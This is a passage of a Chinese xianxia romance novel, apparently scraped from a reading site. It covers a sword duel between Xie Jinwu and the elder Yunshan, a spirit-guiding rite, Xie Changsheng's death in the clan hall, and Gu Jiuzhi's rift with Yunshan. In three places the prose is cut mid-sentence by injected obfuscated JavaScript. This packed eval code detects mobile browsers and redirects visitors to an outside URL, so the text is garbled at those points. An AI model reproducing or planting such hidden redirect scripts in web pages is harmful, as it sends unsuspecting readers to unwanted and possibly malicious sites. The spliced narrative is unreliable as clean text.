江云初垂下眼睫:“若是活着,是你命大。若是死了,也是你命当如此。谢尽芜虽性情冷漠,防备心重,可也并非滥杀之人,我想,他应该不会为了本命珠而去杀害一个手无寸铁的姑娘。” 她的措辞都是些没把握的词,显然,江云初那时候也没法保证叶清圆的生命安危,却依旧坚定地将她推到了谢尽芜的身旁。 如此心狠,如此坦诚。 叶清圆暗暗佩服,看来她的云初姐姐还真是个干大事的人。 良久,江云初轻声道:“清圆,你记恨我么?” “不会啊,”叶清圆不以为意地笑道,“这一路上你也照顾我许多啊,君子论迹不论心,云初姐姐。而且我现在也过得挺好的。” 江云初凝视她一阵,见她笑意诚挚,并无怨恨责怪之意,终于是如释重负地笑了:“清圆,你能这样想,我特别开心。” 她一开始还惴惴不安,担忧叶清圆会伤心,会生气,会质问她,甚至会因此而与她老死不相往来。可此刻看来,叶清圆不仅没有生气,反而眉眼间始终萦绕着从容与柔和。 叶清圆握住她的手,轻笑道:“云初姐姐,我们就当做什么都没发生过不就好了?就还像以前那样。” 她的笑容愈发明媚漂亮,笑时仿佛有光点跳跃在她的眼角眉梢。 这是由心而生的善意与灵动。爱人如养花,须得用心滋润。叶清圆此时的模样已经与初阳镇时大相径庭,显然她在这些时日里生活得确实很好。 话音落下,江云初还来不及回答,“咣!”的一声,院门忽地被一股大力轰开。 满地细雪被气浪鼓动,遮人耳目。两息后,稠密的雪幕落下,眼前景象重归清明。 院门口却站着一名身形修长之人,白袍高冠,臂挽拂尘,正是云山。 云山扬眉怒目,大步走来,冷声道:“喂,你究竟是那谢氏余孽的什么人?” 叶清圆听不得他这种血口喷人的话,忍不住蹙眉,正要开口反击。江云初却抬手将她护在身后,上前一步,高声道:“云山长老,你的嘴巴也放干净些。” 云山冷笑,却连半点眼神都不给她:“什么时候也轮到江氏的人对我出言不敬了?” 江云初嘲讽道:“哦,那什么时候轮到一个心性残忍的刽子手来此大放厥词了?” 云山脸色青红交错,怒道:“你!” 江云初挑眉:“我什么?” “我不和你一般见识!”云山怒而拂袖,转而对叶清圆道,“我不管你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶清圆惊魂未定,闻言下意识朝着自己的手臂看去,果见靠近腕部的位置浮现出一道极为繁复的朱红色咒文。 云山方才冲着她放出剑气,咒文似乎有所感应,竟隐隐有灵光流动,宛如活物。灵光浮动在她的整条手臂与手指,甚至蔓延到了衣物遮盖的位置。 她垂睫看着这道咒文,心下不禁有些惊慌。 细思一瞬后,她蓦地回想起昨晚夜深时,她半梦半醒间恍惚觉得谢尽芜总盯着她的手臂看,他温热的指腹不断摩挲着她的手臂内侧,意识朦胧之际竟觉得有一阵微烫的热流浮在她的肌肤上。 她那时睡得正酣却被他弄醒,不禁有些气,便翻了身背对着他不再理会。后来还是谢尽芜凑过来低声哄了几句,非要握着她手臂不知在做什么。叶清圆拗不过他,干脆就随他去了。 睡意朦胧时,只听到他说些什么“渡灵”之类的字眼。 如今想来,谢尽芜竟是在她的手臂上设了一道护身咒文。 云山颇觉有趣:“这种护身咒法却是有许多年不曾见过了。” 江云初也讶异地抬眸望她。方才云山持剑杀来,剑锋直刺她的手腕,她却安然无恙,反倒是云山被灵光震得后退半步。 云山更有了杀她的理由,冷笑道:“这不是你一个小丫头能弄明白的吧?我猜是谢尽芜给你设下的,对不对?他到底是你什么人?” 叶清圆睫尾轻颤,轻声道:“他是我的夫君。” 话音落下,院门外传来一阵打斗声和惨呼声,院外驻守的渡真弟子毫无阻挡之力,当即被打得落花流水,细密的雪势被一瞬搅乱。 一阵平稳的脚步声响起,谢尽芜抬手推开院门,隔着朦胧的雪帘望向她。 叶清圆好端端地站在廊檐下,除了脸色有些惊慌之外,瞧模样倒是没有受伤,然而她的左袖却不知为何划破了,露出皙白的手腕和腕部的咒文。 谢尽芜的视线在余下两人身上扫过,在看清云山手中所持长剑的瞬间,他脸上的神色当即就冷了下去。 99. 引魂 云山原本就对他恨得要命,此刻更是不遗余力地恶言相对:“我甚至还没出手,谢公子竟是主动送上门来了?这么迫不及待想死吗?” 谢尽芜提着剑走到叶清圆的身旁,掌心握住她的手腕仔细检查一番,见确实并无大碍,才勉强松了一口气,道:“清圆,保护好你自己。其他的你都不要管。” 说罢,他转向云山,神情肃戾而阴郁:“你刚才是想伤她吗?” “说到这个,我倒是很好奇。为什么你这种人会连自己的性命都不顾,也要为她种下护身咒文?保护她?” 云山勾起唇角笑:“哦,难道谢公子在希夷殿待了这么多年,不光学会了杀人术,还学会了该如何做个好郎君吗?” 谢尽芜本就是强忍怒意,此刻听闻他口出轻狂无礼之言,再也无法按捺。他手腕抖动,雪亮剑锋直冲着云山而去! 两人皆是满腔的怨气与杀意,步步皆是杀招。谢尽芜如今已然知晓全部真相,眼前之人便是当年的灭族元凶,因而出手再无顾虑,一心只想取他性命。而云山则是怀着对谢氏一族的敌意,他又将自己对于谢长生的蔑视、仇恨迁怒到了谢尽芜身上,剑势刚猛、霸道,招招刺人要害。 小院中剑意纵横,落了满地枯枝败叶,院门早在方才就“哐当!”一声碎裂,连地面都被划出几道深刻的剑痕。 檐下铜铃被剑风波及,撞出急切嘈杂的一阵声响。谢尽芜余光瞧见剑痕竟已经蔓延至廊檐下,他担忧叶清圆会被波及,当即足蹬院墙,想要引着云山往院外空旷之处而去。 “轰!”的一声爆响,云山整个人被他的剑气逼退,瞬间退出三丈之外。谢尽芜本就存了杀他的意思,当下就要纵身追去。 叶清圆急迫:“谢尽芜!” 谢尽芜闻声蓦地一顿,偏过头来,隔着飞旋的细雪与残枝深深地凝望她。 这一眼包含了太多情绪,像是要将她的模样从此铭记在心。叶清圆的碎发都拂在了脸上,此刻却也顾不得什么,只涩声道:“谢尽芜,不许死。” 雪幕朦胧间,谢尽芜的眉眼依旧是如雪般清冽干净,他恍惚是笑了一下,轻轻颔首,继而纵身跃出院墙。 一墙之隔的院外,传来云山的冷哼与叱骂声,紧接着便是一阵凛冽清锐的刀剑交锋声。 叶清圆强行按下心中的不安与焦急,转身扶着重伤昏厥的江云初进了正堂,取了软巾替她擦净脸上的血。 此处条件简陋,唯有西边暖阁里置了一张小榻,许雁含正躺在上头,眼中含恨,满脸是泪。 叶清圆替她解了定身咒,许雁含立刻蹦起来,恨声道:“你们说的话我都听到了!清圆姐姐,我一定要亲手杀了那些人!” 叶清圆道:“你先来帮我,把云初扶到小榻上。” 两人合力将江云初安置好,许雁含从袖中取出那一张张画好的符纸,冷声道:“清圆姐姐,我们走吧。” 叶清圆看了她一眼:“走去哪里?你要报仇,可知对方是谁?” “不就是那个云山吗?” “他是渡真世家的长老,凭你这点功夫,能杀得了他吗?” 叶清圆本来不想用这般冰冷严肃的语气说话,可此刻许雁含显然是头脑发热不计后果,恨不得立刻就闯出去与那云山决个高下。 叶清圆必须让她留在此处,否则若局面乱起来,没人能够保证她的安全。 许雁含一听这话就蔫了,却还是强硬道:“反正我现在手里还有许多符纸,大不了我和他同归于尽!” “你别做梦了。”叶清圆毫不留情地泼她冷水,“你们不会同归于尽的。最大的可能就是云山一剑将你杀死,而你连他的衣袖都碰不到。” “清圆姐姐……” 叶清圆冷声道:“许雁含,你更应该做的事情是带着爹娘对你的期望好好活下去,而不是被仇恨裹挟,失了理智,毫无胜算地就要冲上去送死。” 恰在此时,系统的提示音在脑海中响起来:“警告:角色【谢尽芜】此时的情绪状态极为不理智,请宿主尽快带着江云初远离此处。” “警告:角色【谢尽芜】的黑化值已经达到70%!请宿主注意!” 叶清圆闭了闭眼:“雁含,你乖乖地待在这里照顾江云初,不要乱跑,听到了吗?” 许雁含满心的愤怒,哪里还能静下来、坐得住?她手攥成拳,指甲快要陷入肉里,从牙关里挤出不忿的质问:“那云山呢?他杀害了我的父母,难道就这么轻易放过他吗?!” “与他有仇的,不只是你。你不要头脑糊涂得跑到他的面前寻仇。” 话音落下,叶清圆转身就要离开。许雁含看着她的身影暗自咬牙,从后头快步追上来:“你要去哪里?” 叶清圆抬眸望向冷白的天幕,轻声道:“我的夫君现在有危险,我要去找他。” “谢公子?”许雁含惊诧得睁大了双眼。 下一瞬,她垂着头,像是下定了某种决心,将袖中画好的符纸一股脑地全部塞进了叶清圆的手中。 这些符纸有些是叶清圆画的,也有些是她自己所绘,线条利落却灵力不足,满是笨拙的心意。 叶清圆不收:“这些是留给你防身用的。” 许雁含执着地要将符纸塞进她的手里,低声道:“不能亲手为爹娘报仇,是我无能为力,我认。可是我接受不了珍视的人再受什么伤害。清圆姐姐,我们虽相识不太久,可是于我而言,你和谢公子就像我的姐姐姐夫一般,白璟也就像是我的亲人。我不想看到你们其中任何人受伤。” 她垂着眼睫,睫尾犹带湿润,脸上神情却满是坚毅与决然。 叶清圆凝视她许久,轻声道:“好妹妹。” 话音落下,她拣了几张符纸放在身上,其余的都递还给许雁含。天地间风雪片刻也未停息,空气冷而凛冽,刮在人脸上如刀子一般锋利。 叶清圆忍住眼眶与脸颊的生疼,顶风朝着山谷深处走去。 - 寒风凛冽,山道旁的红梅花时隔多年又一次绽放。 梅树也被当年那场遮天蔽日的大火波及,树干上残存着被烈火焚烧的痕迹。 山谷外围聚满了白袍广袖的修士弟子,顾九枝伶仃站在最前方,沉静无波的目光望向那道闪烁着淡金色流光的阵法。 “家主,那道阵法被谢长生动过手脚,现在根本无法靠近。一旦靠近就会被阵法做上标记,届时阵中冤魂反噬,谁也逃脱不了。” 一名弟子站在她身旁,眉心紧蹙道:“早知他精通各种术法,却没想到竟都用在了我们的身上。” 顾九枝淡声开口:“这阵法不是会困死阵中之人吗?” 弟子恨声道:“正是!所以才说谢长生果真是居心叵测,毒如蛇蝎,他竟不惜丢掉自己的性命,也要残害我们渡真的子弟!” 顾九枝思索一瞬,却不认为谢长生是这般盲目之人。他在阵法中与渡真僵持许久,必定还有些别的意图。 他在等什么?等云山,还是等谢尽芜? 正疑惑间,旁边不远处忽地传来一阵嘈乱,顾九枝抬眸望去,竟是一位身着雪底描金袍的渡亡弟子吵嚷着要过来,被一群渡真的子弟拦住了。 那渡亡家的人神色急切,脸上都起了一层薄汗,口中不住地说些什么,看见顾九枝注意到他了,连忙举起手中的引魂铃,同时高喊道:“顾九枝!你就是顾九枝吗?!” 顾九枝让他过来,见他白袍描金,胸口绣着青鸾,便猜测他该是与谢尽芜有些血缘关系,果不其然听见他气息微乱地开了口:“我叫白璟。” 顾九枝:“嗯,我听说过你。” 现下不是叙旧的时候,情况紧迫,白璟手忙脚乱地踩着湿滑的山石走过来,直接道:“这道阵法里已经满是冤魂,怨气冲天。阵中之人的灵力根本不足以压制住这些冤魂。若是我们再不出手相助,到时候里面所有的人都会被怨气撕碎的!” 顾九枝颔首道:“依你说,该怎样办?” “渡亡。”白璟举起手中的一支引魂铃,沉声道,“我来。” “你可以吗?”顾九枝挑眉。 她并非没见过渡亡世家是如何使用引魂铃的。眼前之人虽身为渡亡的少主,眉目却尚且青涩,修为也不高,并非是能够独当一面的模样。 更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938086|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何况,渡亡的少主白璟是出了名的贪玩随性。他究竟是否有这个实力与态度,顾九枝实在怀疑。 白璟竟是笑了,笑过之后又哼了一声:“少瞧不起人了!我从四岁起就开始用引魂铃,我不可以难道你们就可以吗?” 他这话说得好没礼貌,年少轻狂到了极点。可顾九枝却也不生气,只笑道:“好,那这一切就有劳你了。” 白璟扬起下巴,好骄傲,转身踏着满地的雪慢慢靠近了阵法。周遭霎时静寂,弟子们神情紧张地看着他深一脚浅一脚地走过去,途中还因为踩空摔了个屁股墩,引魂铃都摔到了雪地里,扒拉了好半天才捡出来。 众弟子一时无言:“……” 他真的可以吧? 淡金色的灵光几乎蔓延至半边天幕,越是靠近阵法,耳畔的哭嚎嘶吼声越发清晰。 魂魄一旦全然由怨气掌控,就变得甚是棘手。冤魂没有理智,没有意识,唯有凭借本能杀戮、毁灭感知到的一切。 不知里头的渡真子弟到底怎么样了? 也不知那位谢长生现在的情况如何。他与谢尽芜出自同族,那么按辈分来讲,白璟也该唤他一声“小叔”才是。 白璟在阵法前方五丈远的地方挑了块干净的山石,盘腿坐了下来。 他将引魂铃搁在腿上,闭目念诀。片刻后,一道刺目白光自铜铃中闪现出来,空灵悠远的响声过后,引魂铃倏忽飞起,悬停在半空。 周遭风雪竟也停下,紧接着无数道咒文化作金光漫出,汹涌不绝地飞入封闭阵法之中。白璟手指做诀,那阵法的灵力也因此而出现波动,如水面般荡出阵阵涟漪。 极致的寂静中,他的耳畔除了自己唇舌微动的念诀声,还有阵中冤魂那震耳欲聋的不甘哭喊。 隔着阵法的灵光,隐约可见被火焚烧得乌黑的断壁残垣,以及蜿蜒山道上不可胜数的被烧死的红梅树。 他垂眸,眼睫剧烈地颤动着,胸腔中倏然涌进大量的连他自己也读不懂的情绪。 ——雪光、月光。 刀剑锋利而冰冷,毫不犹疑地刺破窗纸,刺破床帐,刺破熟睡之人的脖颈与心肺。滚烫的血泼溅如瀑,染红了墙壁,染红了持剑之人的衣衫,也染红了山道上莹白温柔的积雪。 殷红的血聚成了河,混着不甘的求饶与哭喊,缓慢流淌在这静谧的雪夜中。 白璟咬紧牙关,胸腔宛如被狠狠击了一锤。气息颤抖,眼中蓦地流下两行清泪。 他讨厌渡亡,因为渡亡总是伴随着强迫性的共感。 渡亡世家历代的天才,皆是极聪慧极敏感之人,却无一不是识海崩溃而伤。 可是他必须坚持,因为阵法中还有那么多的冤魂。因为那些冤魂都曾是谢尽芜的族人。 因为白璟是渡亡世家之人,这是他必须承担的责任。 所以,他明知前路生死未卜,也义无反顾。 远处,顾九枝臂挽拂尘,始终紧盯着白璟的神色,片刻后她蹙眉道:“不好,他身上灵力快要消耗殆尽,很容易被反噬,你们快前去护住他。” 话音落下,几名渡真子弟纵身而去,掌心凝聚灵力拍在白璟后心,引魂铃的响声顿时越发清澈空灵。 片刻后,耳畔尖锐的哭喊声逐渐平息不少,涌动的阵法灵罩之后,朦胧间可见到有人影自阵法中跌跌撞撞地闯出来,却在骤然呼吸到凌冽空气的一瞬间,扑通倒下,跪地不起。 “出来了!” “快!快去将他们带回来!” 顾九枝抬眸望向那些逃出阵法的弟子们,等了片刻,却不见那道身影。正思索间,却听见身后一人厉声道:“护阵的那几人,给我撤手!” 正是云山。 白璟身后的渡真子弟听令瞬间撤手,他当即遭受阵法中冤魂的怨念反噬,噗地呕出一大口血。 引魂铃“当啷!”一声掉在雪地里,铃中铜舌险些碎掉。白璟强撑着身体坐好,识海剧痛之际,余光却蓦地瞧见一人:“……哥?” 谢尽芜站在阵法旁,淡金色的灵光与细雪模糊了他的眉眼。 有血珠不断从他的剑锋滚落,坠到雪地中。 100. 亲人 白璟颤声道:“哥,不要靠近阵法。” 谢尽芜持剑的手轻颤,阵法淡金色的光芒如静水般流淌在他的身上,他轻声道:“里面还有人吗?” 白璟咳出一口血:“有,谢长生还在里面,但我可以感知到他的灵机快要耗尽,只剩下一口气。” 话音落下,顾九枝的手指蓦然攥紧了衣袖,用力得指尖都要发白。 谢尽芜抬手触碰阵法涌动的灵力,眸光黯淡,下一瞬,他纵身闯进了阵法之中! 白璟大惊失色:“哥!” 同一时刻,顾九枝抬手下令,七名渡真弟子再次来到白璟身后,掌心灌满灵力打入他的灵脉。 引魂铃轻晃着再度悬在半空,空灵悠远的铃音响彻云霄。 - 灰黑的院墙坍圮,枯木遍地。 谢尽芜走在遍布剑痕与积雪的山道上,周遭寂静,唯有寥落的踏雪之声。 破败的砖石建筑之后立满了简陋的墓碑,敞开的院子里隐约可见被大雪掩埋的水缸与棋桌,甚至还有褪了色的红色拨浪鼓。 十五年前,这里也充满了热腾腾的生活气息。 可如今,满目疮痍。 “咯吱”一声,他像是踩中了什么坚硬的东西。谢尽芜步伐一顿,垂眸看去。 那竟是一截指骨。 冷风吹得他眼眶发涩,他狠狠闭了一下眼,手攥成拳沿着山道继续走去。不知过了多久,才见到山谷深处那座族长曾居住过的破败的小院。 朱红的院门被烧得毁掉了一半,铜环掉在地上,院子里的秋千也塌了,砖缝中长满杂草,茂盛的藤蔓爬满墙壁。 谢尽芜在院门口站着,看向院中的一草一木,却生不出半点进去的勇气。 一如当年,他重返被烧得仅剩框架的流光山馆,望着馆中的石桌和草木,满心却唯有荒芜。 他绕过小院,去到了后山的谢氏宗堂。 宗堂不大,梁柱样式古老却保存完好,里头不知是燃了什么香,幽幽袅袅地蔓延出来,宛如一阵风,一场雾,甫出了宗堂,旋即消散在寂静的雪中。 侧墙上隐约浮现出繁复的咒文,澄蓝色的光芒微微闪过。 正因这些咒文的存在,这座宗堂才得以在当年那场烈火中幸存下来。 堂中隐约透出一点微光,洒在外头青砖街巷的雪地上。 堂中有人。 谢尽芜迈过堂前门槛,步入堂内。漫垂的挂幡与纱帐无风自舞,木柱的漆皮微微脱落,甚至有细微的剑痕。 堂内光线黯淡,牌位都隐没在昏暗之中,唯有漆金的字体隐约反射出光芒。 谢尽芜缓步走入。 一道清瘦的身影跪在地上的蒲团,闻声也不回头,只抬手指着其中一个牌位,淡声道:“这是你的祖父。” 谢尽芜抬眸望去,见那牌位上正是谢御恒的名字。 谢长生又道:“这是你的父亲和姑姑,谢拱辰,谢雪绯。” 谢尽芜凝视一瞬,在旁边的蒲团跪下。 谢长生不知在这里已经跪了多久。他气息微弱,脸色苍白,全凭着一口气在撑持,此刻便俯首贴地,闭目道: “晚辈谢长生,为我族复仇之计,不得不屈居渡真之下,甚至更名改姓,忍辱求生,实在愧对列祖列宗。若有朝一日得见诸位,任何责罚,晚辈都甘愿领受。” 在他的正前方,立着一座灵牌,上面的名字是“谢长乐”。 谢尽芜等他磕完了头,才轻声开口:“他们是怎样的人?” “族长嘛,面冷心热,别看他平日里不苟言笑,总是一副凶狠恶煞的模样。实际上,他很宠爱小辈的。” 谢长生轻咳一声,沙哑道:“你还不会走路的时候,族长就亲手给你制作过一架学步车,车头雕刻着许多稚鸟,还记得吗?” “嗯。” 谢尽芜小时候很喜欢这架木柞学步车,上面系了许多铃铛,一动就叮铃铃的响。 后来这木车伴随着流光山馆一起,被火海吞噬。 “我的转玄三术也是族长教的。那几年族长其实很寂寞,没有你们的陪伴。我因为身体太弱的缘故经常去宗堂敬香,路过族长的院子,便进去和他说说话。” 谢长生又道:“绯儿姐姐呢,她的性子活泼,有点娇纵,嘴巴也厉害,很会讨人喜欢。她小时候很黏着拱辰兄,也就是你父亲。可是后来,拱辰兄离开了冽雪山谷,她很伤心,便只好跑到我家里,和阿姐在一起。” 谢尽芜静静听着,心头涌现出一阵歉疚。 无话可说,是他无能为力,无法尽孝。这些与他血脉相连的亲人们,至今回想,他的脑海中竟连他们的相貌都记不清。 冽雪山谷的生活,他也从未亲眼见过。 热闹的大雪夜,梅花开遍,灯明如火,族人们围拢在冰莹的雪地上,手中捧一壶热腾腾的红梅酒,看温暖的篝火燃烧,或嘹亮或低沉的歌声响起。小孩子们提着仙鹤的灯笼奔来跑去,晚风中有糖果的甜香气。 他也曾听父亲提起过,心生向往。可是那时他年纪太小,不便出远门。 如今十几年过去,谢尽芜都没能见他们一面。 谢长生说到这里,不动声色地抹去唇角的血迹,笑道:“喂,若论辈分,你还要叫我一声小叔呢。乖侄儿,如今你我都跪在宗堂之中,你不该当着列祖列宗的面,拜认我这个长辈吗?” 谢尽芜本来以为他要说什么,结果竟是这般废话,沉声道:“你与我家并无血缘关系。况且,你都不曾拜过我的父母,认他们做兄嫂,我又凭何认你?” 谢长生挑眉道:“谁说我不曾拜过你的父母?” 谢尽芜拧眉道:“我没看见。” “……嘁,算了,不和你计较。”谢长生抬袖拂了拂谢长乐的灵牌,眼中含笑,语气温柔,“这是我阿姐,你瞧她的名字是不是很好听?” 谢长生也不在乎他的回答,笑着道:“阿姐是世上最好的阿姐。” 谢尽芜抬眸看去,见他目光低垂,眼中情意真挚,含着化不开的浓浓悲意。 不由想到,那曾经的“顾雪庭”也是时常微笑。可那笑意从不达眼底,如一层碎冰浮在水面。叫人猜不透他心中所想,因而顿生警惕与防备。 如今所见,谢长生眉眼两弯,眸中含光。显然,这才是他的真面目了。 事态紧急,谢尽芜没有太多时间与他叙旧,淡声道:“青松和楚姨是谁杀的?” “是我。” 谢尽芜脸上神色半点没有意外:“我所中的邪印也与你有关。” “是。” “为什么?” 谢长生费劲地喘了一口气。他的嗓子很痒,有血腥气漫上来,很想咳嗽,却连这点力气都没有了,只轻声道:“我怕你忘了谢家的仇恨。” 谢尽芜皱眉道:“我如何会忘?” 灭族之恨,如何能忘? “其实,当年我曾去流光山馆找过你的父亲,商议复仇一事。” 谢长生垂首跪在蒲团,声音轻得像云:“你的父母只想要你平安、快乐地度过这一生,并不希望你再度卷入仇恨。可是他们想得太简单了,渡真世家岂会轻饶你?云山可会放过你?所以我将那一段记忆封在了你的邪印中。” 他的额头流下豆大的汗珠,缓了片刻才道:“若是渡真世家真的不再追杀你,那么这段仇恨对你而言就到此为止。可若是他们非要赶尽杀绝,你至少也该知道我们两家的仇怨从何而来。” 所以,他才将那段完整的记忆封印在谢尽芜的识海中。 谢尽芜眼见着他快要生机断绝。他从没有见死不救的习惯,况且还有要事询问,因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946004|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而抬手想要渡给他一些灵力。 却被谢长生抬袖一挥,轻巧避开了。 谢长生道:“不必,你救不了我。” 谢尽芜收回手,淡声开口:“所以,我所中的邪印与心影有什么关系?” “你那道邪印就是我创造出来的第一只心影,也就是许雁含说过的小鹤仙。” “或许你也发现了,邪印可以克制心影。”谢长生垂睫轻笑,“所以,若是渡真的人想要使用心影探查你的行踪,必然失败。” “他们永远都找不到你。” “可是我没有料到,你竟会主动来到冽雪山谷,还利用心影解除了邪印。” 谢尽芜静静听着,面色没有一点波动。 谢长生闭上眼睫:“很可笑吧,我既想拉着你一起复仇,又不想违背你父母的遗愿,所以反复纠结。纠结到今天,我自己都不知道做过的这些事究竟是对还是错了。” “那为什么杀了青松和楚姨?” “我的灵脉爆裂过两次,根本就活不了太久。我杀不完渡真的那些仇人,必须有人助我。而青松和阿楚,他们这两个窝囊废却只会一味地带着你躲避,阻碍你复仇的脚步。” “所以你干脆将他们杀了?” “是。这么些年,我为了复仇而杀过的人早已不计其数,再多他们两个又如何了?” 谢长生嘲讽道:“谢尽芜,你不要来质问我。早在你坐上希夷殿二殿主之位时,我就知道你根本就不是什么良善之人。若你站在我所处的这个位置,被逼到无路可走的时候,你也会毫不犹疑地这么做。” 谢尽芜凝望着牌位,似乎是懒得再与他反驳,只淡声道:“渡真还有谁?” “云山。他的修为极高,背后又有长老院支持,我杀不了他。” 谢长生说到此处像是忽地想起了什么,胸腔中气血翻涌,蓦地吐出一口血来。 谢尽芜“嗯”了一声,站起身,冰冷的目光落在他的身上,“你还想活着出去吗?” 谢长生低笑:“你看我现在还像是能出去的样子吗?” “有什么遗愿?” 谢长生想了想,他的思绪变得混沌,话语却没有因此受影响,仿佛已经事先思索过无数次:“将渡真的那帮人都赶走,从此以后……不许他们再踏进冽雪山谷半步。” 谢尽芜看着他,颔首道:“还有吗?” “帮我给顾九枝带一句话。” 谢长生抬起头,眸光已经暗淡下去,却依旧是雪白的一张脸。 他低声,红唇微动。说罢,唇角竟是勾出一抹极淡的笑意。 谢尽芜垂眸看着他,没有明白他这最后一句话的意思,却默默记下了。 每个人都有心事,有些情绪,他不需要明白。 谢长生轻出一口气,像是终于完成了什么使命,终于可以放松下去。 “不要给我收尸,我不想被任何人看到临死时的模样,那一定不好看。” 谢长生清秀俊朗了一辈子,才不会忍受自己变丑,更不会忍受在别人面前变丑。 说罢,他唇角带笑,头颅缓缓低垂,片刻后,耗尽了所有的力气,连跪也跪不住了。 他的怀里却始终抱着姐姐的灵牌,半分都不肯松懈。 谢尽芜垂眸看了他一眼,最后又凝望满墙的牌位,片刻后道:“好。” 随后起身向外走去,将要出门的时候,宗堂深处蓦地传来一声闷响,像是有什么物体倒在地面。 谢尽芜的步伐停顿一瞬,两息后,又迈步离开。 法阵的灵光化作一道薄薄的罩子,铺在灰白的天穹,笼罩住地面的废墟。 谢尽芜沿着小道原路返回,冷风霎时灌满脖颈。 他恍惚间终于意识到,宗堂中倒下的那人,是他在这世上的最后一位谢氏亲眷。 101. 裂痕 云山气息不稳地跃到顾九枝身旁:“师姐!” 他脸颊带血,左肩似是被刺中一剑,衣袍都被鲜血染红,神情更是怒不可遏:“师姐这般举措,究竟是何意?” 顾九枝眼望着那群从阵法中出来的渡真弟子们被转移到安全的地方,才分出心思看他。 “师姐,有善心是好事。然而不合时宜的善心,就可能带来灾祸了。” 云山瞪视着那几名给白璟输送灵力的弟子,冷哼道:“那两个人与渡真有什么关系?师姐何必费心去救他们?” 顾九枝冷冷凝视他,道:“云山,你的衣服脏了。” 云山喜洁,本来一路奔波至此,已经尽量不在意肩头的血迹与脏污。此刻听见她说这话,眉头不由索得更紧了,难受得仿佛浑身上下都有爪子在挠:“我知晓!你不必再提醒我!” “你连自己的血都觉得难以忍受吗?” 顾九枝淡声道:“云山,你既有洁癖,却又为何总是派人肆意杀害他人?难道你都不觉得那些血迹沾在衣袍上很是刺目吗?” 云山皱眉:“什么意思?” 顾九枝抬手,替他拂去肩头的雪花,道:“这几年我明白了一个道理。人心是不可以被仇恨裹挟的。仇怨延续,永无绝期。就像父亲曾杀害谢御恒和谢雪绯,我们渡真世家也几乎杀光了所有的谢氏族人。” “师姐是觉得……长老院的决定有错?” “是。”顾九枝不闪不避与他对视,向来沉静淡然的眸中现出冷硬与决然,“大错特错。” 云山一脸难以置信地看着顾九枝。 在顾九枝的背后,站着数十名渡真弟子。 他们只听从顾九枝的吩咐,此时也随着话音落下,朝云山投来敌视的目光。 而云山的背后,却早已空无一人。 顾九枝轻声道:“云山,恨意若能休止,当然最好。但你想过没有,若是止不住呢?手里的剑一旦沾了血,便很难再停下来。杀一人,杀十人,杀百人,对他们而言又有什么区别?早就麻木了。” “云山,你扪心自问,这些年来你一直效忠长老院,起初可以说是为了我,为了减轻我的负担。可是后来呢?真的还是如此吗?你瞒着我和雨阁做了多少不干净的事情我不想讲,但是我不想看到你一错到底,更不想让渡真毁在你我的手上。” 云山看着她,眼中讶异逐渐敛去,变得冷漠,变得隐隐痛苦。 片刻后,他低声道:“师姐,我们怎么就变成这样了?” 顾九枝眼睫一颤,无话可说。 她蓦地回想起许多年前。 在渡真学舍外的那片棠花林中,云山躺倒在松软的草地上,双臂交叠垫在脑后,笑着说:“师姐,雨阁,我们三个要永远在一起。” 宋雨阁蹲在树上修鸟窝,闻言一怔,用力晃动花枝,花雨簌簌落了云山满身。 他很嫌弃:“云山,你真恶心。” 话虽如此,却是忍不住笑了,笑意如花上朝阳。 云山拂去脸上的花瓣,对顾九枝笑道:“对啦师姐,你知道大家都叫宋雨阁什么吗?渡真的明珠!哈哈!就他那张冰块脸,说是鱼眼睛还差不多!鱼目混珠啊!” 宋雨阁闻言,当即笑意收敛。 他摘了棠花枝用力砸在云山身上,对顾九枝道:“师姐,他们还说云山是渡真的宝剑!哼,他也配。我看他是渡真百年难遇的搅屎棍还差不多!” 云山一激灵,大叫道:“好啊!你竟然骂大家都是屎!宋雨阁你完了,我要去长老院告发你!” 宋雨阁恼得脸都红了。他跳下树来,捡起树枝追着云山打,一阵花雨簌簌。 “喂!宋雨阁,你干什么?!很痛的!”云山边跑边笑着喊,“师姐!师姐救我啊!救我!小师弟他疯了!” 顾九枝不理会他们,只笑吟吟地躺倒在草地上,眯起眼吃糖葫芦。 原来这俩人就是渡真所谓的“明珠”和“宝剑”呀。 那渡真也要完了。 明珠碎裂,宝剑断折。 记忆中那个活泼欠揍却笑容明朗的少年,与眼前这个眉目冷郁之人的相貌逐渐重叠。 顾九枝静静地看着云山。 怎么就走到了今天这一步? 就好比皙白的瓷瓶上,最初只是起了细细裂纹。可是经年累月之后,终究会裂变成一道无法再修补的鸿沟。 两人之间的距离不过一步,裹着细雪的冷风吹过,袖摆都拂到一起。 遥远得却仿佛隔着千山万水。 顾九枝伸出手,想要抹去云山肩头的血,却无论如何都擦拭不净。于是放弃了:“我一直都觉得渡真的门服很漂亮,墨白两色,恰如山水。它不该沾太多血的。” “这么多年过去,师姐竟还那么优柔寡断。” 